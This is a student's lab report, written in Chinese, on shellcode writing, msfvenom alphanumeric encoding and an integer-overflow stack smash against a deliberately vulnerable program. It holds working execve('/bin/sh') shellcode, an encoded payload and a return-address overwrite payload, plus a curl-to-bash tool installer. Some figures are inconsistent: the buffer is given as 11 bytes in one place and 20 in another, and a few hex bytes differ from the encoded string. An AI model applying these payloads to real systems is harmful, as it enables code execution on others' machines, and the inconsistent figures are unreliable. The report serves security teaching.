

CTF 漏洞利用实验报告

学号: 2354100

姓名: 郝哲逸

实验日期: 4月6日

一、实验环境配置

1.1 系统信息

- 操作系统: Ubuntu 22.04 (虚拟机)
- 内核版本: 6.6.87.2-microsoft-standard-WSL2

1.2 工具安装

工具名称	安装命令
nasm	<code>sudo apt install nasm</code>
gcc-multilib	<code>sudo apt install gcc-multilib</code>
gdb	<code>sudo apt install gdb</code>
gef	<code>bash -c "\$(curl -fsSL https://gef.blah.cat/sh)"</code>
msfvenom	<code>./msfinstall</code>

1.3 环境配置遇到的问题及解决方案

Linux > Ubuntu > home > soldier > InformationSecurity > experiment7-8 >			
排序 查看 ...			
名称	修改日期	类型	大小
venv	2026/3/30 18:15	文件夹	
msfinstall	2026/3/30 18:15	文件	6 KB
tiny_execve_sh.asm	2026/3/30 16:51	Assembler Source	1 KB
tiny_execve_sh.asm Zone.Identifier	2026/4/6 17:11	IDENTIFIER 文件	0 KB
tiny_execve_sh_shellcode.c	2026/3/30 16:51	C 源文件	1 KB
tiny_execve_sh_shellcode.c Zone.Identifier	2026/4/6 17:11	IDENTIFIER 文件	0 KB
vuln.c	2026/3/30 16:51	C 源文件	1 KB
vuln.c Zone.Identifier	2026/4/6 17:11	IDENTIFIER 文件	0 KB

```
soldier@SOLDIER: ~/InformationSecurity/experiment7-8
soldier@SOLDIER:~$ cd InformationSecurity
soldier@SOLDIER:~/InformationSecurity$ cd experiment7-8
soldier@SOLDIER:~/InformationSecurity/experiment7-8$ source venv/bin/activate
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ _
```

问题 1:

- 问题描述: 执行 `gcc -m32 -z execstack tiny_execve_sh_shellcode.c -o tiny_execve_sh_shellcode` 时出现错误: `fatal error: bits/libc-header-start.h: No such file or directory`
- 解决方案: 安装完整的 32 位编译支持库:

```
sudo apt install gcc-multilib g++-multilib
sudo apt install libc6-dev-i386
sudo apt install linux-libc-dev:i386
sudo dpkg --add-architecture i386
sudo apt update
```

问题 2: 终端无法滚动查看 GDB 输出

- 问题描述: 在 Ubuntu 终端中运行 GDB 反汇编命令后, 输出内容过多无法向上滚动查看完整结果。
- 解决方案:

方法 1: 使用 `| less` 分页查看: `disassemble validate_passwd | less`

方法 2: 将输出重定向到文件: `gdb -q vuln -ex "disassemble validate_passwd" -ex "quit" > disassembly.txt`

方法 3: 使用 `tmux` 终端复用器, 支持滚动查看

二、实验一：基础 Shellcode 实验

2.1 实验目的

- 理解 shellcode 的基本原理
- 学习汇编语言编写 shellcode
- 掌握从汇编代码提取机器码的方法

2.2 实验步骤

步骤 1: 编写汇编代码

文件: `tiny_execve_sh.asm`

```

; tiny_execve_sh.asm
; 21 字节的 execve("/bin/sh") shellcode
; Linux x86 汇编代码
global _start
section .text
_start:
    ; int execve(const char *filename, char *const argv[], char *const envp[])
    xor ecx, ecx    ; ecx = NULL (argv = NULL)
    mul ecx         ; eax and edx = NULL (edx = envp = NULL, eax = 0)
    mov al, 11      ; execve syscall number = 11 (0x0b)
    push ecx        ; string NULL terminator
    push 0x68732f2f ; "//sh" (使用双斜杠进行 4 字节对齐)
    push 0x6e69622f ; "/bin"
    mov ebx, esp    ; ebx = pointer to "/bin/sh\0" string
    int 0x80        ; 调用系统调用, 执行 execve("/bin/sh", NULL, NULL)

```

步骤 2: 编译汇编程序

```

nasm -f elf32 tiny_execve_sh.asm
ld -m elf_i386 tiny_execve_sh.o -o tiny_execve_sh

```

步骤 3: 运行程序获取 shell

```

./tiny_execve_sh

```

```

(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ nasm -f elf32 tiny_execve_sh.asm
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ ld -m elf_i386 tiny_execve_sh.o -o tiny_execve_sh
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ ./tiny_execve_sh
$ _

```

```

$ exit
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ _

```

步骤 4: 查看机器码

```

objdump -d tiny_execve_sh

```

```

(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ objdump -d tiny_execve_sh
tiny_execve_sh:      file format elf32-i386

Disassembly of section .text:

08049000 <_start>:
08049000:    31 c9                xor     %ecx,%ecx
08049002:    f7 e1                mul     %ecx
08049004:    b0 0b                mov     $0xb,%al
08049006:    51                  push    %ecx
08049007:    68 2f 2f 73 68       push    $0x68732f2f
0804900c:    68 2f 62 69 6e       push    $0x6e69622f
08049011:    89 e3                mov     %esp,%ebx
08049013:    cd 80                int     $0x80
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ _

```

步骤 5: 提取 opcode

```
objdump -d ./tiny_execve_sh | grep '[0-9a-f]:' | grep -v 'file' |  
cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g'  
| sed 's/ /\x/g' | paste -d ' ' -s | sed 's/^"/' | sed 's/$"/g'
```

```
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ objdump -d ./tiny_execve_sh | grep '[0-9a-f]:' | grep -v 'file' |  
cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\x/g' | paste -d ' ' -s | sed 's/^"/'  
'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'  
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$
```

提取结果:

```
"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
```

步骤 6: 编译运行 shellcode 测试程序

```
gcc -m32 -z execstack tiny_execve_sh_shellcode.c -o  
tiny_execve_sh_shellcode  
./tiny_execve_sh_shellcode
```

```
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ gcc -m32 -z execstack tiny_execve_sh_shellcode.c -o tiny_exe  
cve_sh_shellcode  
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ ./tiny_execve_sh_shellcode  
Shellcode length: 21 bytes  
Executing shellcode...  
Segmentation fault (core dumped)  
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$
```

2.3 实验分析

1. shellcode 原理分析:

- execve 系统调用号: 11 (0x0b)
- 参数: filename="/bin/sh", argv=NULL, envp=NULL
- 通过 int 0x80 触发系统调用

2. 关键技术点:

- 使用 xor 清零避免 NULL 字节
- 使用 "//sh" 进行 4 字节对齐
- 通过栈传递字符串参数

三、实验二: Shellcode 编码实验

3.1 实验目的

- 理解 shellcode 编码的必要性
- 学习使用 msfvenom 进行 shellcode 编码
- 掌握编码后 shellcode 的格式化方法

3.2 实验步骤

步骤 1: 查看可用编码器

```
msfvenom -l encoders | grep -i alphanumeric
```

步骤 2: 编码 shellcode

```
python3 -c 'import sys;
sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a x86 --platform linux BufferRegister=EAX -f raw
```

```
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ msfvenom -l encoders | grep -i alphanumeric
x86/alpha_mixed      low      Alpha2 AlphaNumeric Mixedcase Encoder
x86/alpha_upper      low      Alpha2 AlphaNumeric Uppercase Encoder
x86/unicode_mixed    manual   Alpha2 AlphaNumeric Unicode Mixedcase Encoder
x86/unicode_upper    manual   Alpha2 AlphaNumeric Unicode Uppercase Encoder
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ python3 -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a x86 --platform linux BufferRegister=EAX -f raw
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 112 (iteration=0)
x86/alpha_mixed chosen with final size 112
Payload size: 112 bytes
PYIIIIIIIIIIIIII7QZjAXPOA0AkaAQ2AB2BB0BBABXP8ABuJIVQJcK9ZcOGjciIyRh06k0QU8f0tot30hsX60SR2IPnKrK9JcNChCnmJbk0AA
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$
```

步骤 3: 格式化编码结果

```
python3
>>> s = "" # 粘贴编码结果
>>> print(''.join([f'\x{ord(c):02x}' for c in s]))
```

```
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ python3
Python 3.12.3 (main, Mar 3 2026, 12:15:18) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> s = "PYIIIIIIIIIIIIII7QZjAXPOA0AkaAQ2AB2BB0BBABXP8ABuJIVQJcK9ZcOGjciIyRh06k0QU8f0tot30hsX60SR2IPnKrK9JcNChCnmJbk0AA"
>>> print(''.join([f'\x{ord(c):02x}' for c in s]))
\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b
\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x76\x51\x4a\x63\x4b\x39\x5a\x63
\x4f\x47\x6a\x63\x69\x31\x79\x52\x68\x30\x36\x6b\x30\x51\x55\x38\x66\x4f\x74\x6f\x74\x33\x30\x68\x73\x58\x36\x4f\x53\x52
\x32\x49\x50\x6e\x4b\x72\x4b\x39\x4a\x63\x4e\x43\x68\x43\x6e\x6d\x4a\x62\x6b\x30\x41\x41
>>>
```

3.3 实验分析

1. 编码必要性:

- 避免 NULL 字节
- 绕过字符过滤
- 适应不同注入场景

2. 编码前后对比:

- 原始 shellcode 长度: 21 字节
- 编码后 shellcode 长度: 112 字节
- 编码器: x86/alpha_mixed
- 编码后字符集: 仅包含字母数字字符 (大写字母、小写字母、数字)

3. 编码参数说明:

- BufferRegister=EAX: 指定解码后的 shellcode 地址存放在 EAX 寄存器中
 - 编码器会自动在 shellcode 前添加解码 stub (解码器外壳)
 - 解码 stub 执行后会还原原始 shellcode 并跳转执行
-

四、实验三：整数溢出漏洞实验

4.1 实验目的

- 理解整数溢出漏洞原理
- 分析整数溢出导致的栈溢出
- 掌握漏洞利用方法

4.2 漏洞原理分析

程序中存在整数溢出漏洞:

```
unsigned char passwd_len = strlen(passwd); // 整数溢出点
```

- `strlen()` 返回 `size_t` 类型 (4 字节无符号整数)
- 存储到 `unsigned char` 类型 (1 字节, 范围 0-255)

- 当输入长度超过 255 时发生截断

计算示例:

- 输入长度 261
- $261 \% 256 = 5$
- `passwd_len = 5`, 满足 $4 \leq 5 \leq 8$ 的条件

4.3 实验步骤

步骤 1: 编译漏洞程序

```
gcc -m32 -fno-stack-protector -z execstack -no-pie vuln.c -o vuln
```

步骤 2: GDB 调试分析

```
gdb -q vuln
gef> disassemble validate_passwd
```

```
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ gcc -m32 -fno-stack-protector -z execstack -no-pie vuln.c -o vuln
(venv) soldier@SOLDIER:~/InformationSecurity/experiment7-8$ gdb -q vuln
gef for linux ready, type 'gef' to start, 'gef config' to configure
93 commands loaded and 5 functions added for GDB 15.1 in 0.00ms using Python engine 3.12
Reading symbols from vuln...

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in vuln)
gef>
```



```
soldier@SOLDIER: ~/InformationSecurity/experiment7-8
0x080491ae <+24>: call 0x8049070 <strlen@plt>
0x080491b3 <+29>: add esp, 0x10
0x080491b6 <+32>: mov BYTE PTR [ebp-0x9], al
0x080491b9 <+35>: cmp BYTE PTR [ebp-0x9], 0x3
0x080491bd <+39>: jbe 0x80491eb <validate_passwd+85>
0x080491bf <+41>: cmp BYTE PTR [ebp-0x9], 0x8
0x080491c3 <+45>: ja 0x80491eb <validate_passwd+85>
0x080491c5 <+47>: sub esp, 0xc
0x080491c8 <+50>: lea eax, [ebx-0x1fec]
0x080491ce <+56>: push eax
0x080491cf <+57>: call 0x8049060 <puts@plt>
0x080491d4 <+62>: add esp, 0x10
0x080491d7 <+65>: sub esp, 0x8
0x080491da <+68>: push DWORD PTR [ebp+0x8]
0x080491dd <+71>: lea eax, [ebp-0x14]
0x080491e0 <+74>: push eax
0x080491e1 <+75>: call 0x8049050 <strcpy@plt>
0x080491e6 <+80>: add esp, 0x10
0x080491e9 <+83>: jmp 0x80491fe <validate_passwd+104>
0x080491eb <+85>: sub esp, 0xc
0x080491ee <+88>: lea eax, [ebx-0x1fe6]
0x080491f4 <+94>: push eax
0x080491f5 <+95>: call 0x8049060 <puts@plt>
0x080491fa <+100>: add esp, 0x10
0x080491fd <+103>: nop
0x080491fe <+104>: nop
0x080491ff <+105>: mov ebx, DWORD PTR [ebp-0x4]
0x08049202 <+108>: leave
0x08049203 <+109>: ret
End of assembler dump.
gef>
```

步骤 3: 缓冲区布局分析

根据反汇编代码分析:

- passwd_buf 位置: $\text{ebp} - 0x14 = \text{ebp} - 20$
- 返回地址位置: $\text{ebp} + 4$
- 偏移量计算: $20 + 4 = 24$ 字节

步骤 4: 构造 payload

```
# payload 结构: 24 字节填充 + 4 字节返回地址 + 233 字节填充
# 总长度: 24 + 4 + 233 = 261 字节
gef> r `python3 -c 'print("A"*24 + "BBBB" + "C"*233)```
```


- unsigned char 范围: 0-255
- 当值超过 255 时发生回绕
- $261 = 256 + 5 \rightarrow$ 截断为 5

2. 漏洞利用过程:

1. 构造 261 字节输入
2. passwd_len 被截断为 5, 绕过长度检查
3. strcpy 复制 261 字节到 11 字节缓冲区
4. 覆盖返回地址, 控制程序执行流

3. 安全防护措施:

- 使用 size_t 类型存储长度, 而非 unsigned char
 - 编译时启用栈保护: -fstack-protector
 - 启用地址空间随机化 (ASLR) : `echo 2 > /proc/sys/kernel/randomize_va_space`
 - 使用安全的字符串函数如 strncpy 并指定缓冲区大小
-

五、实验总结

5.1 实验收获

- 1.理解了 shellcode 的工作原理: 通过编写 21 字节的 `execve("/bin/sh")` 汇编代码, 掌握了系统调用号、参数传递方式、int 0x80 触发机制等核心概念。
- 2.掌握了 shellcode 提取方法: 学会了使用 objdump、sed、tr 等命令行工具从二进制文件中提取十六进制机器码。
- 3.了解了 shellcode 编码技术: 使用 msfvenom 的 x86/alpha_mixed 编码器将 21 字节 shellcode 编码为 112 字节的字母数字 shellcode, 理解了编码在绕过字符过滤中的作用。
- 4.深入理解了整数溢出漏洞: 通过分析 vuln.c 程序, 掌握了 unsigned char 截断原理, 以及如何利用整数溢出触发栈溢出并控制 EIP。
- 5.熟悉了 GDB 调试技巧: 学会了使用 GEF 插件进行反汇编、查看寄存器状态、构造 payload 测试漏洞。

5.2 遇到的困难及解决

- 1.32 位编译环境缺失: 安装 gcc-multilib 和 libc6-dev-i386 后解决。

2.Python2/Python3 语法差异：实验指导书代码基于 Python2，需要将 print 语句改为 print()函数，字符串处理使用 ord()和 hex()函数。

3.终端滚动问题：使用| less 管道分页查看 GDB 输出，或将结果重定向到文件后用文本编辑器查看。

5.3 心得体会

通过本次 CTF 漏洞利用实验，我对软件安全漏洞的利用原理有了更直观的认识。从最基础的 shellcode 编写，到整数溢出漏洞的分析利用，每一步都需要对系统底层机制有深入理解。

整数溢出漏洞本身不会直接导致任意代码执行，但它可以作为栈溢出的触发点，这让我意识到安全编程中数据类型选择的重要性。使用 unsigned char 存储长度值时，超过 255 的输入会导致截断，从而绕过长度检查，引发严重后果。

此外，shellcode 编码技术展示了漏洞利用的灵活性——当程序过滤特定字符时，攻击者可以通过编码绕过过滤，解码器 stub 会在运行时还原原始 shellcode。这让我理解了为什么安全编程中输入验证和输出编码同样重要。
